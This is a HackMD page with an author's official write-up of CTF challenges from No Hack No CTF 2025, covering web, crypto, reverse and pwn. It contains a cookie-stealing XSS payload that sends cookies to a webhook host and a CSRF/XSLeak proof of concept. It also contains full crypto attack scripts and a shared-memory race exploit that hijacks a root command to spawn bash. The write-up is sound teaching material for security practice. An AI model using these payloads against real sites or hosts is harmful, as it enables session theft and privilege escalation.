林晉宇
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    --- title: No Hack No CTF 2025 Official Write Up - Whale120 tags: - CTF - No Hack No CTF - Cryptography - Web Security - XSLeak - XSS - LLL - Coppersmith's Attack - Franklin–Reiter Attack - GuessyCTF --- ## Before all Welcome to the No Hack No CTF Event this year, I made some "relatively harder" crypto and web challenges in the event, with some "relatively easier" ones. ~~And one guessy challenge, which is just a pure waste of time~~ Hope u guys love them, and ... ~~actually, I didn't expect like as much as like 400~500 players will participate in this year's rating 0 event, with some strong teams...so the challenge difficulty may not hard enough XD~~ After all, I think u can probably looking forward to my(our) challenges next year, trust me, will be funnier! ## Web Actually...just picking categories my teammates haven't done yet... ~~But all my favorite ones in web category!~~ ![image](https://hackmd.io/_uploads/H1lmjRuHxx.png) ### XXS XSS - Difficuly: 5/10 - Tips: Open Redirect to XSS(`javasciprt:` protocol trick) A XSS Challenge Just take a look at this part: ```html <script> function getQueryParam(key) { const params = new URLSearchParams(window.location.search); return params.get(key) || ''; } const name = getQueryParam('name'); const targetUrl = getQueryParam('url'); const display = document.getElementById('displayName'); display.textContent = name || 'Guest'; setTimeout(() => { if (targetUrl && targetUrl.length<=15) { window.location.href = targetUrl; } }, 3000); </script> ``` You can set a name that the website will show on your screen, also, a redirect url with length < 15 It's seemingly that the only way to exploit XSS is to abuse the redirect function, but how can we steal the cookie with like less then 15 chars (contains `javascript:` string) A fun feature: if `javascript:` url was appended with a javascript variable, then the page will render the variable value So just put the payload at name, and then redirect to `javascript:name` can solve it! Final Payload: ``` ?name=<img src=x onerror="location.href='webhookurl/'+btoa(document.cookie)"&url=javascript:name ``` ### When? - Difficuly: 6/10 - Tips: Nginx `/file../` LFI Bug + Attacking PHP-FPM A cute black box challenge, with a view-source, we will find a `/file` directory (favicon.ico location) allow listing: ![image](https://hackmd.io/_uploads/SkfD8h_Sxx.png) ![image](https://hackmd.io/_uploads/HkVII2OBlg.png) Query some strange stuffs like `/file/whale` will leak that it's hosted on NGINX, ~~or via guessing~~ ![image](https://hackmd.io/_uploads/Bk8uv3dBlg.png) In nginx config file, it's well known that this kind of setting will lead to path traversal for one file layer: ```nginx location /file { alias /app/file/; autoindex on; autoindex_exact_size off; autoindex_localtime on; } ``` ![image](https://hackmd.io/_uploads/SkxWO3uBgx.png) take a look at socket-test-8cb09a.php~ ```php <?php $ip = $_GET['ip']; $port = (int)$_GET['port']; $data = base64_decode($_GET['data']); $socket = fsockopen($ip, $port); fwrite($socket, $data); fclose($socket); ?> ``` through nginx.conf, we'll also find that it's based on `php-fpm`, which is vulnerable via changing its setting `auto_prepend_file = php://input` and `allow_url_include = On`, after that, every post body (pass to php://input) will be seem as a php code and excute. In this step, there're many exploits online like this one: [https://gist.github.com/Jimmy01240397/c833ef20bac520ce8212147fb8457d1a](https://gist.github.com/Jimmy01240397/c833ef20bac520ce8212147fb8457d1a), by my friend chumy. with the socket backdoor, just pass the payload(base64 encoded) to it and we'll obtain a shell! ### NOT XSS - Difficuly: 9/10 - Tips: XSLeak (Via Cookie Size, STTF) A word guessing game, target is flag, but only admin bot can visit it and also, with CORS. The best match value and a note (will be rendered with HTML) will be stored in cookie The stored note will be rendered, but with a DOMPurify Protection! Just don't mind those PoW stuffs, as I said above, it's impossible to do a XSS, so time to think about XSLeak. **app.py** ```py from flask import Flask, request, render_template, jsonify, make_response, abort, session from flask_cors import CORS import subprocess import threading import hashlib import os import time app = Flask(__name__, static_folder='static', template_folder='templates') app.secret_key = os.urandom(16) CORS(app, resources={r"/*": {"origins": "http://127.0.0.1:5000"}}, supports_credentials=True) FLAG = 'NHNC{B1g_c00k13_a193eb}' def terminate_process(process): process.terminate() print("Process terminated after 20 seconds.") def common_prefix(a: str, b: str) -> str: i = 0 while i < len(a) and i < len(b) and a[i] == b[i]: i += 1 return a[:i] def restrict_remote_addr(): if request.remote_addr != '127.0.0.1': abort(403) @app.route('/get_challenge', methods=['GET']) def get_challenge(): challenge = os.urandom(8).hex() session['challenge'] = challenge session['ts'] = time.time() return jsonify({ "challenge": challenge, "description": "Find a nonce such that SHA256(challenge + nonce) starts with 000000" }) @app.route('/visit', methods=['GET']) def visit(): url = request.args.get('url') nonce = request.args.get('nonce') if not url or not nonce: return "Missing url or nonce", 400 if not url.startswith('http://'): return "Bad Hacker", 400 challenge = session.get('challenge') ts = session.get('ts') if not challenge or not ts: return "No challenge in session. Please request /get_challenge first.", 400 if time.time() - ts > 60: session.pop('challenge', None) session.pop('ts', None) return "Challenge expired. Please request a new one.", 400 h = hashlib.sha256((challenge + nonce).encode()).hexdigest() if not h.startswith("000000"): return "Invalid PoW", 400 # No reuse of PoW session.pop('challenge', None) session.pop('ts', None) process = subprocess.Popen(['chromium', url, '--headless', '--disable-gpu', '--no-sandbox', '--disable-popup-blocking'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) timer = threading.Timer(20, terminate_process, [process]) timer.start() return "Admin is visiting your page!" @app.route('/') def index(): restrict_remote_addr() return render_template('index.html') @app.route('/inner.html') def inner(): restrict_remote_addr() return render_template('inner.html') @app.route('/guess', methods=['POST']) def guess(): restrict_remote_addr() guess_str = request.form.get('guess') note = request.form.get('note') if not guess_str or not note: return jsonify({'error': 'invalid payload'}), 400 current_shared = common_prefix(guess_str, FLAG) old = request.cookies.get('best', '') old_prefix = bytes.fromhex(old.split(':', 1)[0]).decode() if ':' in old else '' best_prefix = old_prefix if len(old_prefix) > len(current_shared) else current_shared resp = make_response(jsonify({'best_prefix': best_prefix, 'note': note})) resp.set_cookie('best', f"{best_prefix.encode().hex()}:{note.encode().hex()}") return resp if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) ``` **index.html** ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>GueSS NOT XSS</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.6/purify.min.js" crossorigin="anonymous"></script> <style> body { font-family: sans-serif; max-width: 600px; margin: auto; padding: 1rem; } input, button { font-size: 1rem; padding: 0.5rem; margin: 0.5rem 0; width: 100%; } #status-container { border: 1px solid #ccc; padding: 1rem; border-radius: 8px; } </style> </head> <body> <h1>GueSS NOT XSS</h1> <div id="status-container"></div> <!-- 改动:form 加上 action 和 method --> <form id="guess-form" action="/guess" method="post" enctype="application/x-www-form-urlencoded"> <label> Next guess:<br> <input type="text" name="guess" id="guess" required placeholder="Enter your guess"> </label><br> <label> Your note:<br> <input type="text" name="note" id="note-input" placeholder="Optional note"> </label><br> <button type="submit">Submit</button> </form> <script> async function loadStatus() { function hexDecode(hex) { hex = hex.replace(/^0x/, ''); if (hex.length % 2 !== 0) throw new Error('Invalid hex string'); let out = ''; for (let i = 0; i < hex.length; i += 2) { out += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return out; } const res = await fetch('/inner.html', { credentials: 'include' }); let html = await res.text(); html = DOMPurify.sanitize(html); document.getElementById('status-container').innerHTML = html; const cookie = document.cookie.split('; ').find(row => row.startsWith('best=')); if (cookie) { const val = decodeURIComponent(cookie.split('=')[1]); const [prefixHex, noteHex] = val.split(':'); const best = hexDecode(prefixHex) || '(none)'; const note = DOMPurify.sanitize(hexDecode(noteHex)) || '(none)'; document.getElementById('best-prefix').textContent = best; document.getElementById('note').innerHTML = note; } } document.getElementById('guess-form').addEventListener('submit', async e => { e.preventDefault(); const form = e.target; const formData = new FormData(form); await fetch(form.action, { method: form.method, credentials: 'include', body: formData }); await loadStatus(); form.reset(); }); window.addEventListener('DOMContentLoaded', loadStatus); </script> </body> </html> ``` Every time I deal with a XSLeak challenge, I think it'll be very usefull to think about what's the diffrences between a "right" hit and a "wrong" hit. In this challenge, is the cookie matters. Nowadays, almost every browser has a limit size for its cookie. Combine this feature with a render functionality in index.html, we can construct an "error-based" XSLeak with an oracle of "if the webhook server is hitted or not" Just a piece of PoC: **index.php**, which the admin bot will visit ```html <script> const win = window.open('/exp.html', 'exploit'); setTimeout(() => { window.open('http://127.0.0.1:5000/', 'exploit'); }, 100); </script> ``` **exp.html** ```html <!DOCTYPE html> <html> <head> <title>CSRF Attack</title> </head> <body> <form id="csrfForm" action="http://127.0.0.1:5000/guess" method="POST" enctype="multipart/form-data"> <input type="hidden" name="guess" value="NH"> <input type="hidden" name="note" value="<h1>NH</h1><img src=http://webhook/NH>J</h1>a.....a"> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html> ``` Like this, if `NG` was hitted on the server, but not `NH`, then we knows that `NH` is the prefix part of flag. Later, just automate this approach with a backend server dynamic changing exp.html ... should be fine ... ~~if my VM wasn't broken~~ So sorry for uploaded an old, unsolvable version on CTFd QwQ ## Crypto This was what I said last year... ![image](https://hackmd.io/_uploads/Sk22_CuSle.png) ### bloCkchAin ciphEr'S sERcret - Difficuly: 2/10 - Tips: Baby Blockchain + Baby Caeser Cipher Challenge Description: ``` My friend, you know... There're tooooo many of those GPTable Crypto Challenges and Baby Crypto stuffs... So I implemented a baby one on blockchain! Sepolia test net, address: 0x9C71c90140162a5BAE7159Ec5CC4C86FAddCBfb6 ``` **chal.sol** ```sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Challenge { function encrypt(string memory text) public pure returns (string memory) { // some tasty stuffs! } function get_flag() public pure returns (string memory) { // some tasty stuffs! } } ``` I used Remix IDE, just take it easy if u know some more powerful tools ! With some trials, you'll find out that encrypt is just a caeser cipher with key = 7. ![image](https://hackmd.io/_uploads/S1iwdp_Blg.png) run get_flag and "DECODE" it with key = 7 will get the flag ### 🐺 Verifier - Difficuly: 6/10 - Tips: MT19937 + BroadCast Attack Exploit Scripts for the series are from my teammate @wang, thanks a lot to her for testing my challenges. ```py from Crypto.Util.number import * from random import getrandbits SIZE = 64 FLAG = bytes_to_long(b'NHNC{using_big_intergers_in_python_is_still_a_pain}') e = 37 p, q = getPrime(1024), getPrime(1024) while ((p-1)*(q-1)) % e == 0 : p, q = getPrime(1024), getPrime(1024) N = p*q print("=== ICEDTEA Verifier 1.0 ===") while True: OTP = getrandbits(SIZE) print(f"signed: {pow(OTP, e, N)}") TRIAL = int(input("OTP: ")) if TRIAL == OTP: print(f"signed: {pow(FLAG, e, N)}") continue print(f"Invalid OTP, {OTP}") ``` Well... the challenge has three parts! 1. Predict MT19937 Generator with 64 bits random number generated everytime. 2. Obtain N from leaked signatures and OTPs. 3. Recover Flag. Step 1 is trivial while MT19937 is just a $GF_2$ linear equation problem, there was like a bunch of exploit scripts online especially for `2**32` sizes numbers, which can actually be implanted to python random lib as seeds XD Step 2: Via $gcd(OTP_1^{37}-signature_1, OTP_2^{37}-signature_2, OTP_3^{37}-signature_3, ...) = N$ Step 3: We can get a bunch of `FLAG^37` taking mod with different Ns by connect to the server many times, just a simple broadcast attack! **exp.py** ```py from extend_mt19937_predictor import ExtendMT19937Predictor from pwn import * from Crypto.Util.number import * from gmpy2 import iroot from functools import reduce from tqdm import tqdm from sage.all import * n = [] c = [] for _ in tqdm(range(37)): r = remote('chal.78727867.xyz', 31337) mt = [] sign = [] r.recvline() for i in range(312): sign.append(int(r.recvline().decode().strip().split(': ')[1])) r.sendlineafter(b'OTP: ', str(i).encode()) tmp = int(r.recvline().strip().split(b', ')[1].decode()) mt.append(tmp) predictor = ExtendMT19937Predictor() for num in mt: predictor.setrandbits(num, 64) opt = predictor.predict_getrandbits(64) r.sendlineafter(b'OTP: ', str(opt).encode()) sign_flag = int(r.recvline().decode().strip().split(': ')[1]) c.append(sign_flag) N = reduce(gcd, [pow(mt[i], 37) - sign[i] for i in range(100)]) n.append(N) r.close() m37 = crt(c, n) m, ok = iroot(m37, 37) if ok: print(long_to_bytes(m)) ``` ### 🐺 Verifier + - Difficuly: 7/10 - Tips: MT19937 + Franklin-Reiter Attacks ```py from Crypto.Util.number import * from random import getrandbits SIZE = 65 FLAG = bytes_to_long(b'NHNC{errors_lead_to_lll_huh_?_what_are_u_thinking_about}') e = 37 p, q = getPrime(1024), getPrime(1024) while ((p-1)*(q-1)) % e == 0 : p, q = getPrime(1024), getPrime(1024) N = p*q print("=== ICEDTEA Verifier 1.1 ===") while True: OTP = getrandbits(SIZE) print(f"signed: {pow(OTP, e, N)}") TRIAL = int(input("OTP: ")) if TRIAL == OTP: super_secret = getrandbits(1024) print(f"signed: {pow(FLAG + super_secret, e, N)}") continue print(f"Invalid OTP, {OTP}") ``` Just note that we'll obtain 65 bits random numbers everytime, and flag will be masked by addition then encrypt. With two addition(linear related) ciphertexts, it's well known to perform Franklin-Reiter Attack, its principle is changing the relations into polynomials and GCD them under Zmod(N). **exp.py** ```py from pwn import * from Crypto.Util.number import * import math from functools import reduce from contextlib import contextmanager from time import perf_counter from gf2bv import LinearSystem from gf2bv.crypto.mt import MT19937 from sage.all import * from tqdm import tqdm @contextmanager def timeit(task_name): start = perf_counter() try: yield finally: end = perf_counter() print(f"{task_name} took {end - start:.2f} seconds") def attack(c1, c2, a, b, e, n): # 在模 n 上建立一元多項式環 PR = PolynomialRing(Zmod(n), 'x') x = PR.gen() # 兩條多項式 g1 = x**e - c1 g2 = (a*x + b)**e - c2 g2 = g2.monic() def _gcd(f, g): while not g.is_zero(): f, g = g, f % g return f.monic() # 計算 GCD,並回傳 -多項式的常數項 gg = _gcd(g1, g2) return -gg[0] bs = 65 effective_bs = ((bs - 1) & bs) or bs samples = 624 * 32 // effective_bs + 800 # context.log_level = 'debug' r = remote('chal.78727867.xyz', 31338) # r = remote('127.0.0.1', 7777) opts = [] sign = [] r.recvline() for i in tqdm(range(samples)): sign.append(int(r.recvline().decode().strip().split(': ')[1])) r.sendlineafter(b'OTP: ', str(i).encode()) tmp = int(r.recvline().strip().split(b', ')[1].decode()) opts.append(tmp) lin = LinearSystem([32] * 624) mt = lin.gens() rng = MT19937(mt) with timeit("generate system"): zeros = [rng.getrandbits(bs) ^ o for o in opts] + [mt[0] ^ 0x80000000] print("solving...") with timeit("solve_one"): sol = lin.solve_one(zeros) print("solved", sol[:10]) rng = MT19937(sol) pyrand = rng.to_python_random() assert all(rng.getrandbits(bs) == o for o in opts) assert all(pyrand.getrandbits(bs) == o for o in opts) opt1 = rng.getrandbits(bs) s1 = rng.getrandbits(1024) opt2 = rng.getrandbits(bs) s2 = rng.getrandbits(1024) print(opt1, opt2) r.sendlineafter(b'OTP: ', str(opt1).encode()) line = r.recvline().decode().strip() print(line) c1 = int(line.split()[1]) N = reduce(math.gcd, [pow(opts[i], 37) - sign[i] for i in range(100)]) print(f"N: {N}") r.sendlineafter(b'OTP: ', str(opt2).encode()) line = r.recvline().decode().strip() print(line) c2 = int(line.split()[1]) r.close() m = int(attack(c1, c2 , 1, s2 - s1, 37, N)) print(long_to_bytes(m - s1)) ``` ### 🐺 Verifier Max - Difficuly: 8/10 - Tips: MT19937 + Franklin-Reiter Attacks + AGCD ```py from Crypto.Util.number import * from random import getrandbits SIZE = 65 FLAG = bytes_to_long(b'NHNC{can_u_come_up_with_an_idea_for_verifier_turbo?!}') e = 37 p, q = getPrime(1024), getPrime(1024) while ((p-1)*(q-1)) % e == 0 : p, q = getPrime(1024), getPrime(1024) N = p*q print("=== ICEDTEA Verifier 1.2 ===") while True: OTP = getrandbits(SIZE) print(f"signed: {pow(OTP, e, N) >> SIZE}") TRIAL = int(input("OTP: ")) if TRIAL == OTP: super_secret = getrandbits(1024) print(f"signed: {pow(FLAG + super_secret, e, N)}") continue print(f"Invalid OTP, {OTP}") ``` DIFF: signatures losing their last 65 bits. This is a AGCD Problem this time. If you haven't seen that before, I strongly recommend to see some posts like: [https://martinralbrecht.wordpress.com/2020/03/21/the-approximate-gcd-problem/](https://martinralbrecht.wordpress.com/2020/03/21/the-approximate-gcd-problem/) It's principle is to turn the relation into a linear equation which roots are much more smaller than coefficients, just a classic LLL condition. An easy construct of lattices may be like this: ``` [sign_1^37-OTP_1, -1, 0 sign_2^37-OTP_2, 0, 1] ``` it should came up with something like `(sign_1^37-OTP_1)//N'`, the N' value may be like N*(small number), just do it more times and GCD them. ## Reverse Yep, a crypto&web player auditing reverse challenges, somehow is because someone delayed... ![image](https://hackmd.io/_uploads/HJVEcRdrge.png) ![image](https://hackmd.io/_uploads/Hy6L9RdHge.png) ![image](https://hackmd.io/_uploads/Skq9sAOSgx.png) ### Yep another smake game - Difficuly: 3/10 - Tips: Godot, WASM Game Hacking yep, another snake game. Via view-source or F-12 console logs, we can easily spot that's a godot game. There're a bunch of Godot unpackers online, but actually I made this challenge after I saw this: <iframe width="1172" height="659" src="https://www.youtube.com/embed/Sa1QzhPNHTc" title="Jack Baker - Hacking WebAssembly Games with Binary Instrumentation - DEF CON 27 Conference" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe> What's more, there's a tool based on this talk, just with the same usage with CheatEngine... [https://github.com/Qwokka/Cetus](https://github.com/Qwokka/Cetus) With this issue, we learned how to modify values! [https://github.com/Qwokka/Cetus/issues/76](https://github.com/Qwokka/Cetus/issues/76) ```js cetus.modifyMemory(0x0186c950, 1333337, "i32"); ``` ![image](https://hackmd.io/_uploads/r1YWfytSge.png) ![image](https://hackmd.io/_uploads/H13xMyFrlx.png) ### IECD-SHELL - Difficuly: 3/10 - Tips: NodeJs, Malware A malware+packet was provided ![image](https://hackmd.io/_uploads/SyAcEytSlx.png) Seems to be a nodejs pkg packed exe unpack via [https://github.com/LockBlock-dev/pkg-unpacker/tree/master](https://github.com/LockBlock-dev/pkg-unpacker/tree/master), found AES Key and method (CBC) ![image](https://hackmd.io/_uploads/SkikHkKBgl.png) AES CBC Mode is based on key + IV let's see more ... ~~because I'm to lazy to read those js byte codes XD~~ open the pcapng file with WireShark, follow TCP Streams, the client first sent a 16 bytes string to the machine, then they start comunication... ?! ![image](https://hackmd.io/_uploads/HkYMLyKHgg.png) The string probably be the IV value XD ![image](https://hackmd.io/_uploads/BygzPkKBxg.png) ## PWN ![image](https://hackmd.io/_uploads/Hy9j51Frgx.png) ### Server Status (and revenge) - Difficuly: 4/10 - Tips: Shared Memory Attack A privilege escalation challenge with a SUID TOCTOU in it, and yep, this challenge was made in a hurry so I made some stupid mistakes. Decompile the program via IDA. When the program started ```c __int64 __fastcall main(int a1, char **a2, char **a3) { unsigned int v3; // eax unsigned int v4; // ebp __int64 v5; // rax void *v6; // r12 puts("=== Server Status Monitor v1.0 ==="); puts("System diagnostic tool with root privileges\n"); v3 = sub_15B0("dmesg"); if ( v3 == -1 ) { puts("Failed to store command in shared memory"); return 1LL; } else { v4 = v3; sub_17B0(); puts("Initializing..."); puts("Hacking Nasa..."); sub_1760(); puts("Done!"); v5 = sub_1680(v4); v6 = (void *)v5; if ( v5 ) { if ( (unsigned int)sub_1870(v5) ) { free(v6); sub_1720(v4); puts("\nSystem status check completed successfully!"); return 0LL; } else { puts("Command execution failed!"); free(v6); sub_1720(v4); return 1LL; } } else { puts("Failed to retrieve command from shared memory"); sub_1720(v4); return 1LL; } } } ``` ```c __int64 __fastcall sub_15B0(char *src) { unsigned int v2; // eax unsigned int v3; // r12d int v4; // eax char *v5; // rdi char *v6; // rax v2 = time(0LL); srand(v2); v3 = rand() % 0xFFFFF; v4 = shmget(v3, 0x400uLL, 950); if ( v4 == -1 ) { v3 = -1; perror("shmget failed"); } else { v5 = (char *)shmat(v4, 0LL, 0); if ( v5 == (char *)-1LL ) { v3 = -1; perror("shmat failed"); } else { v6 = strncpy(v5, src, 0x3FFuLL); v6[1023] = 0; shmdt(v6); } } return v3; } ``` It gets a shared memory block with a key_t generated by rand via time(NULL) as seed, and puts our command `dmesg` into it. Later it will run the command after a short period of sleep ```c int sub_1760() { int v0; // ebx v0 = 40; do { putc(42, stdout); fflush(stdout); usleep(0xC350u); --v0; } while ( v0 ); return putc(10, stdout); } ``` Last, it will just run the shared memory block as a command. ```c __int64 __fastcall sub_1870(const char *a1) { FILE *v1; // rax FILE *v2; // rbp __int64 result; // rax char v4[1032]; // [rsp+0h] [rbp-428h] BYREF unsigned __int64 v5; // [rsp+408h] [rbp-20h] v5 = __readfsqword(0x28u); v1 = popen(a1, "r"); if ( v1 ) { v2 = v1; puts("=== Command Output ==="); while ( fgets(v4, 1024, v2) ) __printf_chk(1LL, "%s", v4); puts("=== End of Output ==="); pclose(v2); result = 1LL; } else { perror("popen failed"); result = 0LL; } if ( v5 != __readfsqword(0x28u) ) return term_proc(); return result; } ``` Since linux shared memory structure can be access by different process, we can edit the shared memory blocks with keys generated by random around the time, change the command and get shell! **exp.c** ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <sys/shm.h> #include <unistd.h> int main() { printf("=== Tiny Encrypt Shared Memory Race Condition Exploit ===\n"); printf("Attempting to hijack shared memory...\n"); time_t now = (unsigned int) time(NULL); srand(now); for (int time_offset = -2; time_offset <= 2; time_offset++) { srand(now + time_offset); int key = rand() % 0xfffff; printf("Trying key: 0x%X (time offset: %d)\n", key, time_offset); int shmid = shmget(key, 0x400, 0x3b6); if (shmid != -1) { char *h_shm = shmat(shmid, (void *) 0, 0); if (h_shm != (char *)-1) { printf("Successfully connected to shared memory!\n"); printf("Original content: %s\n", h_shm); snprintf(h_shm, 0x400, "bash"); printf("Modified content to: %s\n", h_shm); shmdt(h_shm); return 0; } } } printf("Failed to find target shared memory segment.\n"); printf("The program might not be running or already finished.\n"); return 1; } ``` ~~But I forget to use a full PATH like `/usr/bin/dmesg`, so a PATH abuse can be done~~ ## GuessyCTF ### GuessyCTF ~~Just a pure waste of time~~ After all, have fun (cuz this is just for fun) and relax XD I was just like, oh, why not making a challenge fullfill as much as possible boxes on the "Bad CTF Bingo" Let's go! ![image](https://hackmd.io/_uploads/S1doEgFrll.png) ![image](https://hackmd.io/_uploads/B1tCNetSll.png) **Steps** Step 1. Extract GIF and get "URL" ![image](https://hackmd.io/_uploads/H1IlHeYBxg.png) Step 2. nc to it! is a calculator, and also, 42 is the best answer ![image](https://hackmd.io/_uploads/Syv7SxtSel.png) Step 3. Decrypt the message with keys in discord servers! ![image](https://hackmd.io/_uploads/BJscSxYBgx.png) Yep, like this key characters or words are all inside `<` and `>` Step 4. Find a wierd twitter guy and crack his blog's password via SQL Injection ![image](https://hackmd.io/_uploads/Hyxk8xtrxl.png) Or Take a look at my github [https://github.com/William957-web/My-CTF-Challenges/blob/main/README.md#2024-%E6%98%A5%E5%AD%A3%E7%A4%BE%E5%85%A7%E8%B3%BD](https://github.com/William957-web/My-CTF-Challenges/blob/main/README.md#2024-%E6%98%A5%E5%AD%A3%E7%A4%BE%E5%85%A7%E8%B3%BD) In here: https://hackmd.io/@Whale120/S1drvBYlR#/ has a solution for this XD ## After all

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully